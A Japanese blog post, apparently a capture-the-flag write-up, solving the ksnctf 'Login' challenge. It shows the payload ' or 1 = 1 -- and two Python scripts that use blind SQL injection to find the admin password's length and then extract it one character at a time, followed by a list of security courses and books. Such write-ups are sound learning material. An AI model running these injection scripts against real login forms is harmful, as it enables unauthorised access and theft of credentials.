ksnctf #6 “Login”をPythonで解く

プログラミング

ksnctf #6 “Login”をPythonで解く

Problem

2つのURLが与えられており、そこからFLAG_??????を得ればよい。

http://ctfq.u1tramarine.blue/q6/
https://ctfq.u1tramarine.blue/q6/

Solution

2つのURLは似ているがhttphttpsが違う。

上のURLに適当にログインしてみようとしたが失敗する。

パケットをWiresharkでとりあえずパケットキャプチャしてみたが特に異常なし。

次にSQLインジェクションを試してみる。

Passのところに‘ or 1 = 1 —を入れて送信してみると

成功した。しかし、Flagはadminのパスワードらしい。

次にPassのところに‘ or (SELECT length(pass) FROM user WHERE id = ‘admin’) > 10 —を入力してみる。

これはIDがadminのPassの文字数が10より大きいかを調べている。今回の場合PASSは10文字より多いので先ほどのCongratulationsの画面が表示される。1つずつ増やして調べるのはめんどくさいのでPythonで自動化する。

import requests

def main():
    pass_length_counter()

# Passの文字数を調べる。
def pass_length_counter():
    url = 'http://ctfq.u1tramarine.blue/q6/'

    # Passの文字数
    length = 5 

    while True:
        length += 1
        sql = f"' or (SELECT length(pass) FROM user WHERE id = 'admin') = {length} --"
        payload = {'id' : 'admin', 'pass' : sql}
        send = requests.post(url, data = payload)

        # 表示されたテキストにCongratulationsが含まれていたらその時のlengthを出力
        if "Congratulations" in send.text:
            print(f"Passの文字数は{length}")
            break

if __name__ == '__main__':
    main()

これを実行すると、

% python lenght_sql_injection.py
Passの文字数は21

Flagは21文字ということが分かった。Flagの最初はFLAG_なので残り16文字を考えればよい。

文字数が分かったので、次は地道に1文字目から調べていく。これは手動ではできないのでPythonでまた自動化する。

import requests

def main():
    pass_cracker()

# 21文字(残り16文字)のパスワードを調べる。
def pass_cracker():
    url = 'http://ctfq.u1tramarine.blue/q6/'

    # Passの文字数
    length = 5
    password = "FLAG_"

    while length <= 21:
        length += 1
        for char_num in range(48, 123):
            char = chr(char_num)
            sql = f"' or (SELECT SUBSTR(pass, {length}, 1) FROM user WHERE id = 'admin') = '{char}' --"
            payload = {'id' : 'admin', 'pass' : sql}
            send = requests.post(url, data = payload)

            if "Congratulations" in send.text:
                print(f"Passの{length}番目の文字は{char}")
                password += char
                break

    print(f"adminのPassは{password}")


if __name__ == '__main__':
    main()

これを実行すると

% python pass_sql_injection.py
Passの6番目の文字は*
Passの7番目の文字は*
Passの8番目の文字は*
Passの9番目の文字は*
Passの10番目の文字は*
Passの11番目の文字は*
Passの12番目の文字は*
Passの13番目の文字は*
Passの14番目の文字は*
Passの15番目の文字は*
Passの16番目の文字は*
Passの17番目の文字は*
Passの18番目の文字は*
Passの19番目の文字は*
Passの20番目の文字は*
Passの21番目の文字は*
adminのPassはFLAG_****************

これでFlagが手に入りました!!

CTF, セキュリティの参考資料

Udemy

個人的にUdemyが動画で分かりやすいし、値段も安いのでおすすめです。

実践的なものが特に役立ちます。

ワイトハッカー入門

ハッキング技術入門

サイバーセキュリティ~ハッキングと防御 ビギナー編

ホワイトハッカー養成講座(ハッキングツール、Webアプリ攻略、不正侵入検知)

ホワイトハッカー養成講座 (インシデントハンドリング&Windowsアタック編)

サイバー攻撃:侵入から権限昇格まで

書籍

  • セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
  • セキュリティコンテストのためのCTF問題集
  • デバッガによるx86プログラム解析入門
  • リバースエンジニアリングバイブル
  • 大熱血アセンブラ入門
  • 楽しいバイナリの歩き方
  • Reverse Engineering for Beginners
  • HACKING: 美しき策謀
  • 秘密の国のアリス
  • 暗号解読
  • 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版

おまけ

コメント

タイトルとURLをコピーしました